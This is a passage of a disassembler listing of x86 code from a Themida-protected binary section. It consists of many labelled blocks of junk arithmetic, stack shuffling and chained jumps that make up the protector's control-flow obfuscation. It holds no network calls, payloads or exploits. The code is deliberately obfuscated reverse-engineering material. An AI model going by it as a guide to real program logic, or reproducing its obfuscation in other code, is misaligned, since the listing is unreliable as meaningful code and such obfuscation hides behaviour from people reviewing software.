edx, 4 push eax push ebx push 4 pop ebx mov eax, ebx pop ebx add edx, eax jmp loc_59D2E6 ; --------------------------------------------------------------------------- loc_5ACA2B: ; CODE XREF: Themida_:005A0F7Aj neg edi jmp loc_5A213B ; --------------------------------------------------------------------------- loc_5ACA32: ; CODE XREF: Themida_:005ABB66j sub dword ptr [esp], 71906020h add dword ptr [esp], 3FD74AC2h jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACA45: ; CODE XREF: Themida_:005A4C66j mov edi, edx mov edx, [esp] add esp, 4 add edi, 7EB139Ah not edi jmp loc_59CCF0 ; --------------------------------------------------------------------------- loc_5ACA5D: ; CODE XREF: Themida_:0059EBA4j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59974A ; --------------------------------------------------------------------------- loc_5ACA71: ; CODE XREF: Themida_:005A530Aj mov [esp], esp jmp loc_59C8AF ; --------------------------------------------------------------------------- loc_5ACA79: ; CODE XREF: Themida_:005AE9D8j add [esp+4], edi jmp loc_5A5C41 ; --------------------------------------------------------------------------- loc_5ACA82: ; CODE XREF: Themida_:005A8C30j jmp loc_59B8B0 ; --------------------------------------------------------------------------- loc_5ACA87: ; CODE XREF: Themida_:0059E6D8j push edi mov edi, 6A75A8Bh mov edx, 30C12DCBh jmp loc_59E950 ; --------------------------------------------------------------------------- loc_5ACA97: ; CODE XREF: Themida_:005AA4C5j mov ecx, edi mov edi, [esp] add esp, 4 push ebx push edx mov edx, 76791509h mov ebx, 0D82C26C3h add ebx, edx pop edx xor ecx, ebx jmp loc_5A8807 ; --------------------------------------------------------------------------- loc_5ACAB8: ; CODE XREF: Themida_:005A4830j sub bx, cx jmp loc_59C40B ; --------------------------------------------------------------------------- loc_5ACAC0: ; CODE XREF: Themida_:005AF8F6j sub edi, 0BBB7035h sub edi, ecx jmp loc_5AF334 ; --------------------------------------------------------------------------- loc_5ACACD: ; CODE XREF: Themida_:005AD1F6j mov eax, 4 jmp loc_5AF20F ; --------------------------------------------------------------------------- loc_5ACAD7: ; CODE XREF: Themida_:0059B35Fj sub ebx, 607F1024h add ebx, edi push edx mov edx, 640F4C1Ah jmp loc_59C0FB ; --------------------------------------------------------------------------- loc_5ACAEA: ; CODE XREF: Themida_:005A7E7Aj mov edi, 60816EFDh push ebp mov ebp, 4505C13h mov esi, 5C3112E6h add esi, ebp pop ebp xor esi, edi jmp loc_5A3426 ; --------------------------------------------------------------------------- loc_5ACB04: ; CODE XREF: Themida_:005A37BCj xor ebp, 56067226h add edx, ebp mov ebp, [esp] push 1FE0h mov [esp], edi push esp jmp loc_59E573 ; --------------------------------------------------------------------------- loc_5ACB1D: ; CODE XREF: Themida_:0059DBCDj mov edx, 4EF11EAFh mov edi, edx jmp loc_59A6A6 ; --------------------------------------------------------------------------- loc_5ACB29: ; CODE XREF: Themida_:005991A9j pop ebp jmp loc_5A11D3 ; --------------------------------------------------------------------------- loc_5ACB2F: ; CODE XREF: Themida_:005AA145j xor eax, 5F273921h jmp loc_59AA12 ; --------------------------------------------------------------------------- loc_5ACB39: ; CODE XREF: Themida_:00599B60j and edi, 5EE769F1h sub edi, 5EE521EFh jmp loc_5A5812 ; --------------------------------------------------------------------------- loc_5ACB4A: ; CODE XREF: Themida_:005A5AF8j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp add ebx, 4 push edi push ebx push 6865C7Ah pop ebx shl ebx, 3 jnz loc_599B40 push eax mov eax, 1C4472A4h sub ebx, eax pop eax jmp loc_5A5E44 ; --------------------------------------------------------------------------- loc_5ACB8F: ; CODE XREF: Themida_:0059F106j push 7FC3h mov [esp], ebp jmp loc_5AA365 ; --------------------------------------------------------------------------- loc_5ACB9C: ; CODE XREF: Themida_:005A9A69j sub dword ptr [esp+4], 1F7C7080h jmp loc_5A6821 ; --------------------------------------------------------------------------- loc_5ACBA9: ; CODE XREF: Themida_:005A8E58j xor ebp, 5410B164h push ebp pop ebx pop ebp sub ebp, ebx pop ebx xor ebp, [esp] jmp loc_5A5CB7 ; --------------------------------------------------------------------------- push edx push ebx jmp loc_5A733D ; --------------------------------------------------------------------------- loc_5ACBC4: ; CODE XREF: Themida_:005A845Fj push edi jmp loc_59C584 ; --------------------------------------------------------------------------- loc_5ACBCA: ; CODE XREF: Themida_:005A3808j mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_599EBF ; --------------------------------------------------------------------------- loc_5ACBDD: ; CODE XREF: Themida_:0059CCEBj pop ebp jmp loc_5ACEE3 ; --------------------------------------------------------------------------- loc_5ACBE3: ; CODE XREF: Themida_:005A805Cj add al, 0E9h push edx mov dl, 0D6h jmp loc_59E137 ; --------------------------------------------------------------------------- loc_5ACBED: ; CODE XREF: Themida_:005AFA7Ej pop esp mov [esp], esi mov ebp, [esp] add esp, 4 jmp loc_5AB4F7 ; --------------------------------------------------------------------------- loc_5ACBFC: ; CODE XREF: Themida_:005ABC5Aj add ebx, 0FB3C8468h add ebp, ebx jmp loc_5AD430 ; --------------------------------------------------------------------------- loc_5ACC09: ; CODE XREF: Themida_:0059BF9Cj pop edx jmp loc_59F286 ; --------------------------------------------------------------------------- loc_5ACC0F: ; CODE XREF: Themida_:005AB435j jbe loc_5AEA54 xor ebx, 1C2253A0h jl loc_5AEE4F sub ebx, 17729FB3h mov [edi+20h], ebx mov ebx, [esp] jmp loc_599AF3 ; --------------------------------------------------------------------------- loc_5ACC32: ; CODE XREF: Themida_:005A31DFj sub ebp, 0B50B9E1Eh sub eax, ebp pop ebp sub eax, edi add eax, 4AFC1603h jmp loc_5AC0DC ; --------------------------------------------------------------------------- loc_5ACC47: ; CODE XREF: Themida_:005AB65Aj mov edx, 6C9B2D31h shr edx, 8 jz loc_5A44BE xor edx, 5EE61538h jmp loc_59957C ; --------------------------------------------------------------------------- loc_5ACC60: ; CODE XREF: Themida_:005A3222j add esi, ebp jmp loc_5A31F6 ; --------------------------------------------------------------------------- loc_5ACC67: ; CODE XREF: Themida_:005A64F0j add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_59B4B8 ; --------------------------------------------------------------------------- loc_5ACC77: ; CODE XREF: Themida_:0059C406j push ecx mov ecx, 397E7865h jmp loc_5A92A5 ; --------------------------------------------------------------------------- loc_5ACC82: ; CODE XREF: Themida_:005A43E6j or dl, bh pop ebx xor dl, 5Dh sub dl, 6 add dl, 7Ah jmp loc_59F7BE ; --------------------------------------------------------------------------- loc_5ACC93: ; CODE XREF: Themida_:005A24EEj xor ebx, [esp] mov esp, [esp] push edx mov edx, esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 4 add edx, 4BC32BCBh add edx, 561A5C24h add edx, ebx push ebp push ebx mov ebx, 6AC50781h sub ebx, 7A3373BFh jbe loc_5A8BCD neg ebx dec ebx neg ebx jmp loc_59F32F ; --------------------------------------------------------------------------- loc_5ACCE6: ; CODE XREF: Themida_:005A544Cj push ecx jmp loc_5AF142 ; --------------------------------------------------------------------------- loc_5ACCEC: ; CODE XREF: Themida_:0059A7C5j push 574Bh mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACCF9: ; CODE XREF: Themida_:0059EFC7j ; Themida_:005AADFDj mov ebp, eax pop eax pop ecx push 0FD6h mov [esp], ecx push edx push 220D6B0Dh jmp loc_5A2E02 ; --------------------------------------------------------------------------- loc_5ACD10: ; CODE XREF: Themida_:005A6005j mov ecx, [esp] add esp, 4 jmp loc_5A5132 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACD23: ; CODE XREF: Themida_:005A9FF2j xchg ebx, [esp] pop esp jmp loc_59FC1E ; --------------------------------------------------------------------------- loc_5ACD2C: ; CODE XREF: Themida_:loc_5A8DBDj add bh, 0DEh mov dl, bh jmp loc_59C087 ; --------------------------------------------------------------------------- loc_5ACD36: ; CODE XREF: Themida_:005A0D88j push edx jmp loc_5A1CC1 ; --------------------------------------------------------------------------- loc_5ACD3C: ; CODE XREF: Themida_:005A9681j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACD41: ; CODE XREF: Themida_:005AC015j push 499Bh mov [esp], edx push 2C7Dh mov [esp], ebx mov ebx, 36C62589h jmp loc_59A2AA ; --------------------------------------------------------------------------- loc_5ACD5B: ; CODE XREF: Themida_:0059A537j jnp loc_59EAF4 neg ecx jl loc_59CBD0 jmp loc_5A9896 ; --------------------------------------------------------------------------- add ebp, 4 and bl, 83h push esi loc_5ACD75: ; CODE XREF: Themida_:0059BADBj push 7647h mov [esp], edi push ebp mov ebp, 38B26B1h mov edi, 0FC74D953h add edi, 609F7C02h sub edi, 50DF3580h add edi, ebp add edi, 50DF3580h sub edi, 609F7C02h mov ebp, [esp] add esp, 4 add ebx, edi pop edi push ebp push esi jmp loc_5A3792 ; --------------------------------------------------------------------------- loc_5ACDB5: ; CODE XREF: Themida_:005A30D4j mov [esp], edi mov edi, esp push 0EB6h mov [esp], edx jmp loc_59A89D ; --------------------------------------------------------------------------- loc_5ACDC7: ; CODE XREF: Themida_:005A648Aj mov [esp], edx jmp loc_5A0DB0 ; --------------------------------------------------------------------------- loc_5ACDCF: ; CODE XREF: Themida_:005A8858j inc esi sub esi, 3D1E7FF8h add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] push ebx jmp loc_5A1BAA ; --------------------------------------------------------------------------- loc_5ACDE5: ; CODE XREF: Themida_:005A0110j pop edx xor eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx jmp loc_59C5C4 ; --------------------------------------------------------------------------- loc_5ACDF7: ; CODE XREF: Themida_:005A5A5Ej ; Themida_:005A7369j push ebp sub esp, 4 mov [esp], esp jmp loc_5A8FB4 ; --------------------------------------------------------------------------- loc_5ACE03: ; CODE XREF: Themida_:005A251Fj push ecx mov ecx, 50F67095h add [esp+4], ecx jmp loc_5AFA00 ; --------------------------------------------------------------------------- loc_5ACE12: ; CODE XREF: Themida_:005A1064j mov esp, [esp] jmp loc_5AF866 ; --------------------------------------------------------------------------- loc_5ACE1A: ; CODE XREF: Themida_:005A9CBFj mov cx, [esp] add esp, 2 push eax mov al, 49h add al, 10h sub bl, al jmp loc_5A8E27 ; --------------------------------------------------------------------------- loc_5ACE2D: ; CODE XREF: Themida_:005A92FFj add ch, bh jmp loc_59D3D9 ; --------------------------------------------------------------------------- loc_5ACE34: ; CODE XREF: Themida_:005AB8C0j mov esi, ebx pop ebx add ebx, 1EE57EA7h jmp loc_59CCD2 ; --------------------------------------------------------------------------- loc_5ACE42: ; CODE XREF: Themida_:005A74DEj neg ebx inc ebx add ebx, 0FA840A0Ch or edi, ebx mov ebx, [esp] add esp, 4 neg edi jmp loc_59F6C5 ; --------------------------------------------------------------------------- loc_5ACE5A: ; CODE XREF: Themida_:005A38E3j mov edi, esp add edi, 4 push eax mov eax, 6F4C55B5h jmp loc_5AE0F9 ; --------------------------------------------------------------------------- loc_5ACE6D: ; CODE XREF: Themida_:0059CFFFj pop ebp sub ecx, 5A2A2C81h jmp loc_5A2D8B ; --------------------------------------------------------------------------- loc_5ACE79: ; CODE XREF: Themida_:0059A00Aj push 4FF74C64h jmp loc_59A7F5 ; --------------------------------------------------------------------------- loc_5ACE83: ; CODE XREF: Themida_:005A6B50j mov esp, [esp] push 1F1Dh jmp loc_5AF6D0 ; --------------------------------------------------------------------------- loc_5ACE90: ; CODE XREF: Themida_:005AD610j xor esi, 20897E2Ah mov ecx, esi pop esi add ecx, edi push esi push esp pop esi push ecx jmp loc_59E98E ; --------------------------------------------------------------------------- loc_5ACEA4: ; CODE XREF: Themida_:00599C0Ej add edx, ebp jmp loc_5ACFAF ; --------------------------------------------------------------------------- loc_5ACEAB: ; CODE XREF: Themida_:0059FF94j mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi jmp loc_59D4E3 ; --------------------------------------------------------------------------- loc_5ACEC4: ; CODE XREF: Themida_:0059BD7Fj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add al, bl sub al, 0Eh sub esp, 2 mov [esp], dx jmp loc_5AF768 ; --------------------------------------------------------------------------- loc_5ACEE3: ; CODE XREF: Themida_:005ACBDEj push esi mov esi, 1906383Ch xor esi, 516D3115h sub ebx, esi pop esi shl ebx, 5 jmp loc_59CC8F ; --------------------------------------------------------------------------- loc_5ACEFA: ; CODE XREF: Themida_:005A3724j pop esp push edx mov edx, 4 add edi, edx mov edx, [esp] jmp loc_5A9861 ; --------------------------------------------------------------------------- loc_5ACF0B: ; CODE XREF: Themida_:0059E019j pop esp mov cx, [esp] push esi mov esi, esp push eax mov eax, 0B2F4EB3h sub eax, 1 jmp loc_5ABFCC ; --------------------------------------------------------------------------- loc_5ACF21: ; CODE XREF: Themida_:0059E85Dj add esp, 4 add esp, 4 push 28F5h jmp loc_59FDB0 ; --------------------------------------------------------------------------- loc_5ACF34: ; CODE XREF: Themida_:005A5298j push ebp mov ebp, 46E35AEEh push eax push 41E55AD1h mov eax, [esp] add esp, 4 neg eax jb loc_5A9984 jmp loc_598FF8 ; --------------------------------------------------------------------------- xor esi, [esp] mov esp, [esp] mov ah, ah loc_5ACF5E: ; CODE XREF: Themida_:005AB893j ; Themida_:005AEBF2j dec ah jnp loc_5A1BC7 jmp loc_59BF39 ; --------------------------------------------------------------------------- push esi push edi push 5C890167h pop edi loc_5ACF73: ; CODE XREF: Themida_:005A2DC8j mov edx, 13092E5Ch mov ecx, 13092E5Eh xor ecx, edx pop edx sub eax, 2ADE72BBh add eax, ecx push ebp jmp loc_5A9EA7 ; --------------------------------------------------------------------------- loc_5ACF8D: ; CODE XREF: Themida_:005A741Fj sub ebp, edx pop edx push ecx mov ecx, ebp push ecx push ebp mov ebp, 50D5325Ch add [esp+4], ebp pop ebp mov eax, [esp] jmp loc_59E0FA ; --------------------------------------------------------------------------- loc_5ACFA7: ; CODE XREF: Themida_:005A7B67j mov ebp, [esp] jmp loc_5A1693 ; --------------------------------------------------------------------------- loc_5ACFAF: ; CODE XREF: Themida_:005ACEA6j mov ebp, [esp] add esp, 4 push ebx jmp loc_59DE67 ; --------------------------------------------------------------------------- loc_5ACFBE: ; CODE XREF: Themida_:005A7F4Fj xor edx, 3C185517h jmp loc_5AB353 ; --------------------------------------------------------------------------- loc_5ACFC9: ; CODE XREF: Themida_:005A943Bj xor ebx, 6526DA4h add ebx, 7C012C01h add ebx, 1CD71734h push ebx pop eax pop ebx and eax, 5B7B62F5h shl eax, 7 jmp loc_59A958 ; --------------------------------------------------------------------------- loc_5ACFEB: ; CODE XREF: Themida_:005A6B84j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add ebx, 4 push edx mov edx, 4 jmp loc_59D9D4 ; --------------------------------------------------------------------------- loc_5AD008: ; CODE XREF: Themida_:loc_59C9D8j xor edx, 4791562Eh push edx jmp loc_59A7EE ; --------------------------------------------------------------------------- loc_5AD014: ; CODE XREF: Themida_:0059FA70j ; Themida_:005A2DFDj mov esi, [esp] add esp, 4 mov ebp, [esp] push 375Ah jmp loc_5A3D07 ; --------------------------------------------------------------------------- loc_5AD02A: ; CODE XREF: Themida_:005AC7C8j push ebx mov ebx, esp push edx jmp loc_5AE603 ; --------------------------------------------------------------------------- loc_5AD033: ; CODE XREF: Themida_:0059B4E3j xor edi, [esp] mov esp, [esp] add esi, 35C14C00h add esi, 45261EC8h push edx jmp loc_5AA25B ; --------------------------------------------------------------------------- loc_5AD04B: ; CODE XREF: Themida_:0059D514j jmp loc_59D2CC ; --------------------------------------------------------------------------- loc_5AD050: ; CODE XREF: Themida_:00599394j mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AD05C: ; CODE XREF: Themida_:005A3FACj shl ah, 1 jmp loc_5AEF08 ; --------------------------------------------------------------------------- loc_5AD063: ; CODE XREF: Themida_:005A51F7j and edx, 77B50859h jz loc_59B010 shr edx, 1 jmp loc_5A7BD6 ; --------------------------------------------------------------------------- loc_5AD076: ; CODE XREF: Themida_:005A3D35j pop edi push esi jmp loc_59D686 ; --------------------------------------------------------------------------- loc_5AD07D: ; CODE XREF: Themida_:005A333Ej and edx, 1D696BBAh jmp loc_5AA6A3 ; --------------------------------------------------------------------------- loc_5AD088: ; CODE XREF: Themida_:005AECF6j pop ebx push ebp jmp loc_5A5AED ; --------------------------------------------------------------------------- loc_5AD08F: ; CODE XREF: Themida_:005AB7B2j sub al, 0DBh add al, 76h sub al, dh sub al, 76h add al, 0DBh mov edx, [esp] add esp, 4 push edx mov dl, 0DFh jmp loc_59D8A6 ; --------------------------------------------------------------------------- loc_5AD0AA: ; CODE XREF: Themida_:005A8FDAj add eax, 4 jmp loc_5A245D ; --------------------------------------------------------------------------- loc_5AD0B2: ; CODE XREF: Themida_:005A5381j mov ebx, 50196C61h sub eax, ebx push dword ptr [esp] jmp loc_5A05DF ; --------------------------------------------------------------------------- loc_5AD0C1: ; CODE XREF: Themida_:005A9A4Ej xor edx, 722A4E62h neg edx not edx push esi jmp loc_5AFD9E ; --------------------------------------------------------------------------- loc_5AD0D1: ; CODE XREF: Themida_:005AB5E2j pop ebp add ebx, 0F413C86h sub ebx, 9577FA9h jmp loc_5A10BE ; --------------------------------------------------------------------------- loc_5AD0E3: ; CODE XREF: Themida_:0059F26Dj mov ecx, 4 sub eax, ecx pop ecx xor eax, [esp] jmp loc_59E0E3 ; --------------------------------------------------------------------------- loc_5AD0F3: ; CODE XREF: Themida_:005A99CDj mov edi, esi jmp loc_5A9011 ; --------------------------------------------------------------------------- loc_5AD0FA: ; CODE XREF: Themida_:loc_5A8B40j jmp loc_5A3A91 ; --------------------------------------------------------------------------- loc_5AD0FF: ; CODE XREF: Themida_:0059D93Dj push edx push ecx push 1E52883h pop ecx push ecx xchg edx, [esp] not edx xchg edx, [esp] pop ecx add ecx, 8B574A7h push ecx add dword ptr [esp], 69E947C5h mov edx, [esp] jmp loc_59A09C ; --------------------------------------------------------------------------- loc_5AD127: ; CODE XREF: Themida_:0059EB36j add al, ch jmp loc_59B7DC ; --------------------------------------------------------------------------- loc_5AD12E: ; CODE XREF: Themida_:005A2C47j add eax, 264B5FFFh pop edi add eax, 77534501h jmp loc_5AFC44 ; --------------------------------------------------------------------------- loc_5AD13E: ; DATA XREF: Themida_:005987C8o mov cx, [esp] push 3CB9h jmp loc_5AE0A8 ; --------------------------------------------------------------------------- loc_5AD14C: ; CODE XREF: Themida_:005AEF21j add edx, edi add edx, 167173Dh push 776Dh jmp loc_5A39D6 ; --------------------------------------------------------------------------- loc_5AD15E: ; CODE XREF: Themida_:005A270Bj push 4D7B00CBh jmp loc_5A1ABF ; --------------------------------------------------------------------------- loc_5AD168: ; CODE XREF: Themida_:loc_59F91Ej sub ebp, 0A10B1669h add ebp, 0A7C2976Dh add ebx, 53355750h jmp loc_5AAD86 ; --------------------------------------------------------------------------- loc_5AD17F: ; CODE XREF: Themida_:005A2462j pop eax pop dword ptr [esp] pop esp jmp loc_5A3FFD ; --------------------------------------------------------------------------- loc_5AD189: ; CODE XREF: Themida_:0059BAC0j add esp, 4 push eax jmp loc_598DA6 ; --------------------------------------------------------------------------- loc_5AD195: ; CODE XREF: Themida_:005AEEACj sub ebx, 512F3119h add ebx, 542E4D11h add ebx, 157B8A4Bh jmp loc_5AC740 ; --------------------------------------------------------------------------- loc_5AD1AC: ; CODE XREF: Themida_:005AE001j xor [esp], edi jmp loc_5AB156 ; --------------------------------------------------------------------------- loc_5AD1B4: ; CODE XREF: Themida_:005A56BAj sub ebp, 8822E0Ch jmp loc_5999B6 ; --------------------------------------------------------------------------- loc_5AD1BF: ; CODE XREF: Themida_:005ABAD3j add ecx, 2824304h mov edx, ecx jmp loc_5A7394 ; --------------------------------------------------------------------------- loc_5AD1CC: ; CODE XREF: Themida_:0059A0B2j or edx, 586947F5h sub edx, 1BBD73D3h xor edx, 0FF4F564Fh sub ebp, edx pop edx jmp loc_59C530 ; --------------------------------------------------------------------------- loc_5AD1E6: ; CODE XREF: Themida_:005A05BCj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_5ACACD ; --------------------------------------------------------------------------- loc_5AD1FB: ; CODE XREF: Themida_:0059B14Cj push dword ptr [esp] pop ebx add esp, 4 and ecx, edi push dword ptr [esp] jmp loc_5A650A ; --------------------------------------------------------------------------- loc_5AD20C: ; CODE XREF: Themida_:005A3A4Ej add esp, 4 push ebx push 0A0Bh jmp loc_59C9EA ; --------------------------------------------------------------------------- loc_5AD21D: ; CODE XREF: Themida_:0059E800j push edi push esp jmp loc_5A1D4F ; --------------------------------------------------------------------------- loc_5AD224: ; CODE XREF: Themida_:0059C6FFj mov edi, 5A746C19h sub edx, edi jmp loc_5A3CC6 ; --------------------------------------------------------------------------- loc_5AD230: ; CODE XREF: Themida_:005A8E16j mov eax, ebx pop ebx sub esi, eax jmp loc_5AC758 ; --------------------------------------------------------------------------- loc_5AD23A: ; CODE XREF: Themida_:005A1DB3j xchg edx, ecx jmp loc_5A56D3 ; --------------------------------------------------------------------------- loc_5AD241: ; CODE XREF: Themida_:005A076Ej sub ebx, 0EB647CEh jmp loc_5A3F4B ; --------------------------------------------------------------------------- loc_5AD24C: ; CODE XREF: Themida_:005AF81Ej pop edx push ebx mov bl, ah jmp loc_5A2902 ; --------------------------------------------------------------------------- loc_5AD255: ; CODE XREF: Themida_:0059B316j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5A0C02 ; --------------------------------------------------------------------------- loc_5AD26B: ; CODE XREF: Themida_:005A763Fj pop edx sub ebp, 4D883C50h add ebp, 3246068Dh shr ebp, 4 jmp loc_59D004 ; --------------------------------------------------------------------------- loc_5AD280: ; CODE XREF: Themida_:00599643j js loc_5A8903 sub esp, 4 mov [esp], eax mov eax, 5F3B31CAh shl eax, 1 loc_5AD293: ; CODE XREF: Themida_:005A3B9Aj mov [esp], ebx jmp loc_59BC5D ; --------------------------------------------------------------------------- loc_5AD29B: ; CODE XREF: Themida_:005A106Fj add esp, 2 add bl, ch push edx mov dl, 0BEh add bl, dl pop edx push ecx jmp loc_5AE353 ; --------------------------------------------------------------------------- loc_5AD2AF: ; CODE XREF: Themida_:00598D64j shr edi, 5 add edi, 0FDFDDD56h add esi, edi pop edi sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 7F6D0D47h shl ebp, 6 neg ebp jmp loc_5A8C7E ; --------------------------------------------------------------------------- loc_5AD2D4: ; CODE XREF: Themida_:005A29E2j sub esp, 4 push esp pop dword ptr [esp] push edx push 4 pop edx add [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_5A37F4 ; --------------------------------------------------------------------------- loc_5AD2F4: ; CODE XREF: Themida_:005A3744j pop ebx jmp loc_5A0473 ; --------------------------------------------------------------------------- loc_5AD2FA: ; CODE XREF: Themida_:005AF350j inc ecx xchg ecx, edx not edx push esi mov esi, 2EA48806h add edx, esi jmp loc_5AE4C7 ; --------------------------------------------------------------------------- loc_5AD30C: ; CODE XREF: Themida_:005A772Ej pop ebx push dx jmp loc_5A3FC3 ; --------------------------------------------------------------------------- loc_5AD314: ; CODE XREF: Themida_:005ABE6Dj mov [esp], eax mov eax, 3F5C497Ch neg eax jns loc_5AA0E7 jmp loc_5AA7AE ; --------------------------------------------------------------------------- loc_5AD329: ; CODE XREF: Themida_:005A77CFj xor edx, 463A3169h jle loc_5A0214 add edx, 4DB90B57h jz loc_59D9CE jmp loc_5A7F99 ; --------------------------------------------------------------------------- loc_5AD346: ; CODE XREF: Themida_:005A84A2j push 561Fh mov [esp], ebp mov ebp, 5AA7463Eh sub ebp, 35E33003h jnz loc_59FBFB dec ebp jl loc_5A9930 neg ebp push ebx loc_5AD369: ; CODE XREF: Themida_:005A3393j ; Themida_:005AE559j pop esp add edi, 4 push 4A5Eh mov [esp], ebp push 2 pop ebp add edi, 5A533ED3h jmp loc_5A6D3B ; --------------------------------------------------------------------------- loc_5AD389: ; CODE XREF: Themida_:005AD3D4j sub ebp, 3D661A35h mov edi, ebp pop ebp xor edi, ecx push dword ptr [esp] jmp loc_5A10CB ; --------------------------------------------------------------------------- loc_5AD39C: ; CODE XREF: Themida_:0059C4F8j xor ecx, 3CD15AE0h or edx, ecx pop ecx push ebx mov ebx, 95B64CEh shr ebx, 1 shl ebx, 2 jmp loc_5A076D ; --------------------------------------------------------------------------- loc_5AD3B5: ; CODE XREF: Themida_:005AC0DDj push edi jmp loc_5A4C6B ; --------------------------------------------------------------------------- loc_5AD3BB: ; CODE XREF: Themida_:005A58F2j pop ecx push 74D4h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5A7445 ; --------------------------------------------------------------------------- loc_5AD3CE: ; CODE XREF: Themida_:005A54E7j add ebp, 7DFF47B2h jo loc_5AD389 sub ebp, 3D661A35h mov edi, ebp pop ebp xor edi, ecx pop ecx loc_5AD3E6: ; CODE XREF: Themida_:0059D98Bj push esp mov edi, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_59CFE5 ; --------------------------------------------------------------------------- loc_5AD3F8: ; CODE XREF: Themida_:0059DA59j xor esi, [esp] mov esp, [esp] jmp loc_5A2602 ; --------------------------------------------------------------------------- loc_5AD403: ; CODE XREF: Themida_:005A4148j push ebx mov ebx, 4D786F1Eh xor ebx, 29D20416h sub edx, 2FEB2CE9h sub edx, ebx push ebp mov ebp, 4141565h jmp loc_5A7F40 ; --------------------------------------------------------------------------- loc_5AD422: ; CODE XREF: Themida_:005A40E2j add esp, 4 push ebp mov ebp, 408D6064h jmp loc_59CDF2 ; --------------------------------------------------------------------------- loc_5AD430: ; CODE XREF: Themida_:005ACC04j jmp loc_59CE4E ; --------------------------------------------------------------------------- loc_5AD435: ; CODE XREF: Themida_:005A9EA2j mov esp, [esp] mov [esp], ebp jmp loc_59B93C ; --------------------------------------------------------------------------- loc_5AD440: ; CODE XREF: Themida_:005AA4AAj shl ebx, 4 jmp loc_5A05D2 ; --------------------------------------------------------------------------- loc_5AD448: ; DATA XREF: Themida_:005987E4o mov ax, [esp] sub esp, 4 mov [esp], edi mov edi, esp push esi push edx mov edx, 711A0330h sub edx, 4FB92A6h mov esi, edx jmp loc_5A3331 ; --------------------------------------------------------------------------- loc_5AD46B: ; CODE XREF: Themida_:005A5E51j neg eax sub eax, 11F7667Ch xor eax, 9DCEA64Fh mov edi, eax jmp loc_59CE34 ; --------------------------------------------------------------------------- loc_5AD47E: ; CODE XREF: Themida_:005AFC9Dj add edx, 2 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] push esi sub esp, 4 jmp loc_5AEA34 ; --------------------------------------------------------------------------- loc_5AD49B: ; CODE XREF: Themida_:005AA340j mov ebp, 2 add ebx, 360B6A0Fh add ebx, ebp sub ebx, 360B6A0Fh jmp loc_5A5C64 ; --------------------------------------------------------------------------- loc_5AD4B3: ; CODE XREF: Themida_:005A7260j add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor al, ch pop ecx jmp loc_5A6EC6 ; --------------------------------------------------------------------------- loc_5AD4CB: ; CODE XREF: Themida_:005AA84Fj push eax mov eax, 0D855020h neg eax inc eax jmp loc_5A4898 ; --------------------------------------------------------------------------- loc_5AD4D9: ; CODE XREF: Themida_:005A90C0j mov edx, [esp] jmp loc_5A560F ; --------------------------------------------------------------------------- loc_5AD4E1: ; CODE XREF: Themida_:005A1677j add esp, 4 sub eax, 3C5940B7h sub eax, 685B7E5Ch sub eax, 38B52EF3h add eax, ecx jmp loc_59CC80 ; --------------------------------------------------------------------------- loc_5AD4FA: ; CODE XREF: Themida_:005AD97Dj xchg ebx, [esp] jmp loc_5A2467 ; --------------------------------------------------------------------------- loc_5AD502: ; CODE XREF: Themida_:005A3A60j pop ebp push ebp jmp loc_59A6F4 ; --------------------------------------------------------------------------- loc_5AD509: ; CODE XREF: Themida_:0059F745j jz loc_599D40 sub edx, 80627CB6h jmp loc_5A2AB2 ; --------------------------------------------------------------------------- loc_5AD51A: ; CODE XREF: Themida_:loc_59CC03j ; Themida_:0059F984j ... push esp mov ecx, [esp] add esp, 4 push edi jmp loc_5AC62E ; --------------------------------------------------------------------------- loc_5AD527: ; CODE XREF: Themida_:005A8C16j pop ecx shr edx, 6 jmp loc_5A74E3 ; --------------------------------------------------------------------------- loc_5AD530: ; CODE XREF: Themida_:005A0F4Bj add edi, 4F71083Ch add edi, ebx push eax mov eax, 0B0C5301h jmp loc_59AE7B ; --------------------------------------------------------------------------- loc_5AD543: ; CODE XREF: Themida_:005A76CCj mov eax, esp add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp push esi push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi jmp loc_59B68D ; --------------------------------------------------------------------------- loc_5AD571: ; CODE XREF: Themida_:005A9BECj or edi, 183F156Dh jmp loc_5A1127 ; --------------------------------------------------------------------------- loc_5AD57C: ; CODE XREF: Themida_:005AC927j not ebp inc ebp xor ebp, 48BB58DCh add ebp, 0E47427C3h or eax, ebp jmp loc_59CC56 ; --------------------------------------------------------------------------- loc_5AD592: ; CODE XREF: Themida_:005AC340j sub ebx, ecx mov ecx, ebx pop ebx jmp loc_59B9AA ; --------------------------------------------------------------------------- loc_5AD59C: ; CODE XREF: Themida_:0059EB16j mov [esp], ebp sub esp, 4 jmp loc_5A4D5D ; --------------------------------------------------------------------------- 